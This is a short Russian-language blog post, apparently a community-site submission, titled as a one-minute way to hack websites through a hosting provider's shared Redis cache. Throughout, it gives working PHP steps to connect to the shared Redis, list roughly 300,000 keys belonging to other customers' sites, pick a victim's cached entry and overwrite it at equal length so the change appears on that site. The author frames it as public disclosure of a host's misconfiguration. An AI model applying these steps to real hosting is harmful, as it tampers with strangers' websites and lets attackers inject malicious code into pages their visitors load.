Как взломать сайт за 1 минуту через кеш Redis

1. Регистрируемся на известном хостинге на букву Б.

2. Подключаемся к Редису:

$redis = new Redis(); 
$redis->connect('127.0.0.1', 6379);

3. Достаем данные из Редиса:

$allKeys = $redis->keys('*');

В моём случае массив $allKeys содержит около 300000 записей, в которых хранится кеш страниц, комментариев, меты и пр. чужих сайтов!

4. Выбираем жертву. Пусть, например, 1000-ая запись содержит закешированный комментарий:

$key = $allKeys[1000];
$value = $redis->get($allKeys[1000]);

5. Взяли ключ-значение и теперь изменяем этот кеш! Главное, следить за тем, чтобы длина значения не изменилась:

$redis->set($key, $modifieddata);

6. Переходим на сайт жертвы и убеждаемся во взломе.

Поддержка хостинга говорит, что все ок, так и должно быть и пользователи сами виноваты, потому что используют общесерверный Редис. Но я думаю, что здесь есть большая вина хостинга, который зачем-то предоставляет всем желающим общесерверный Редис. И обычные пользователи просто не в курсе, что включив Редис в Вордпрессе, они тем самым расшаривают свой кеш.

Кто-нибудь по-любому втихаря использует это, внедряя зловредный код на сайты простофиль. И лучше пусть об этой уязвимости узнают как можно больше людей, чтобы как можно быстрее исправить эту уязвимость.
Tags:
Redis, PHP

You can't comment this post because its author is not yet a full member of the community. You will be able to contact the author only after he or she has been invited by someone in the community. Until then, author's username will be hidden by an alias.